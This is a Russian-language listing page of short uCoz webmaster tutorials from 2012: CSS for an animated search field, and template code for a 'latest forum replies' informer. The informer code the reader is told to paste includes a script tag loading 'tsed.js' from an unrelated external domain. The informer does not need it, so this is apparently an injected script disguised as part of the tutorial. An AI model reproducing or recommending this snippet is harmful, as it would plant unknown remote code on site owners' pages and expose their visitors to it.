23 Декабря 2012 - Small-Games™ - Скачать бесплатно игры, софт и т. д...

Категория: | Добавил:startsmart

[c]

[/c]Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

[code]#search {
font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
background:#fff;
width: 8px;
padding: 0 8px;
height: 24px;
font-size: 14px;
color: #666;
line-height: 24px;
border: 0;
outline: none;
border-radius: 50px;
position: relative;
z-index: 5;
-moz-transition: .1s ease;
-ms-transition: .1s ease;
-webkit-transition: .1s ease;
-o-transition: .1s ease;
transition: .1 ... Читать дальше »

Просмотров: 526 | Комментарии (0)

Последние ответы на форуме в блоке для ucoz

Категория: | Добавил:startsmart

[c]

[/c]Последние ответы на форуме в блоке для ucoz.

Установка:

Создаем информер: Название: Статистика форума в блоке --> Раздел: Форум --> Способ сортировки: Последние обновленные темы --> Количество материалов: 5 --> Количество колонок: 1.

В шаблоне информера всё удаляем, ставим этот код:

[code]<img src="http://bambun.ru/images/756432556s.png"><a href="$THREAD_URL$"> $THREAD_TITLE$</a><br>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<img src="http://bambun.ru/images/56786821.png"> <font face="Comic Sans MS">Ответов:</font> $REPLIES$</span>
<div style="font:7pt" align="left"><a href="$FORUM_URL$"> [$FORUM$]</a></div></li><hr> [/code]

Код информера ставите на страницах сайта в нужном ... Читать дальше »

Просмотров: 455 | Комментарии (0)